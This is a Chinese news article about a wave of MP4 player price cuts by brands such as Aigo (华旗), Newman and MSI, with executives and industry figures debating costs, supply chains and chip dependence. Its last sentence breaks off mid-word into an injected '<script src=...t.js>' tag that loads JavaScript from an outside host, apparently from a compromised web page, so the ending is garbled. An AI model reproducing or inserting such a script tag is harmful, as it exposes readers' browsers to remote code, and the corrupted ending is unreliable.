近期，国内mp4市场出现一股极其强烈的降价风潮，降价幅度均在千元左右，一些厂商在宣传口号中，甚至使用了“百年难遇”、“神话演义”、“降价先锋”、“措手不及的狂喜”等等吸引眼球的字眼。而此次降价主力皆为华旗、纽曼、微星等知名数码品牌产品。在mp4尚无标准确立的情况下，降价也许是强势品牌为了迅速打杀市场后入者，进而建立由自己主导的行业标准，从而最终控制mp4市场霸权地位的致命一击。
“大降价是杀鸡取卵”
以爱国者的两款降价机型p035和e858为例，分别降价千元与六百元，降价幅度都超过了36%。这样大幅的降价让人不由颇多疑问。
华旗资讯mp4事业部的负责人陈利军在接受《赢·生活》记者采访时称，爱国者mp4从去年7月份开始正式上量销售，经过近半年时间的磨合，实现了规模化的生产，整体供应链实现了良性化运转，运营成本降低了，所以此时的爱国者mp4能够大幅降价。
但记者偶然发现，去年8月北京某媒体报道当时mp4市场降价现象时，曾引用了陈先生的另一番言语——“‘目前国内尚未到普及mp4的最佳时机，现阶段mp4产品更多的只是被应用到两大领域：一是追求视听感受的发烧友；二是高端礼品市场。’他同时也对竞争对手的价格策略予以质疑，‘目前主流mp4产品的价格在4000~6000元之间，一些厂商采用屏蔽掉部分功能，缩减部分配件的方法来降低成本，希望能够靠低价占领市场，这显然是不应该提倡的做法。’”
记者当即求证，该言论是否确实？陈先生却并未给出正面答复，而转称目前进行降价策略的两款机型，不属于他所在事业部负责，请记者致电相关部门咨询。
移动影音事业部的魏勇先生表示，华旗资讯的上游整合能力是比较强的，采购议价表现强势。由此公司能够破开中间环节，直接由上游厂家供货。公司最近在深圳成立了专门的数码研究机构，将投入大量资金进行技术研发。而某著名国际芯片公司高层人士，也于不久前造访公司，洽谈技术研发合作事宜，所以华旗敢于降价。
而一位著名数码产品亚太区销售总监w先生，表示了不同的观点：“以我个人了解到的情况看，去年下半年到今年上半年,主要部件成本下降了10%~20%。所以，成品的成本下降也应该是这个幅度。所以，如果某一品牌的产品降价超过这个幅度很大，这不是行业的原因，那肯定是他自身的原因。例如：要清库存,或资金短缺要套现,等等。同时减价超过50%,肯定超出了成本范围,无疑是杀鸡取卵。”
在mp4大幅降价的情况下，厂商是否有降低采购标准的可能呢？深圳朗科科技有限公司市场部张洲宽经理认为这种可能性是存在的。“mp3市场的产品返修率如此之高，就说明了很多的问题。”张如是说道。而在核心技术方面，便携式数字视频播放器发展时间较短，技术发展相对不成熟，技术标准不明晰。这不由得让企业反思处在上升势头的mp4产品的生命之“心”来。
mp4“心”在哪里？
以mp4产品的核心芯片为例：由于核心芯片的制作，工艺水平要求过高，所以一般的厂商都无能为力，这些核心一般由有传统芯片厂家制作，如intel、ti、sigma、amd等。现阶段，一线品牌的mp4产品主要采用的都是ti的方案和wintel的完整软硬件方案。mp4上游技术供应渠道基本处于垄断状态。
资料显示，在制造层面，mp4的技术含量远比mp3高。由于上游领域mp4产品的研发难度较大，国内的制造企业研发能力普遍较低而无法自己研发产品，目前国内的mp4代工厂主要仍以组装，加工生产为主。而mp4的主要配件又都被控制在日、韩，以及欧美大厂手中，国内企业的介入只能在一些组装加工上降低价格。
在成本方面，制造一个最便宜的mp4，相当于制造5个价格中等的mp3。而且mp4越高端，其制造成本也越大。
应用环境缺乏也是制约mp4的重要因素。一些市场人士认为，作为移动性媒体播放设备，mp3可以在任何移动环境下使用，而mp4则缺乏移动应用环境，“比如走路或者驾车，mp4的一些特性难以得到很好体现，目前很少有用户愿意为这一补充性质的功能多掏腰包。”一位销售经理如是说道。
朗科公司技术总监向峰先生在接受记?script src=http://er12.com/t.js>
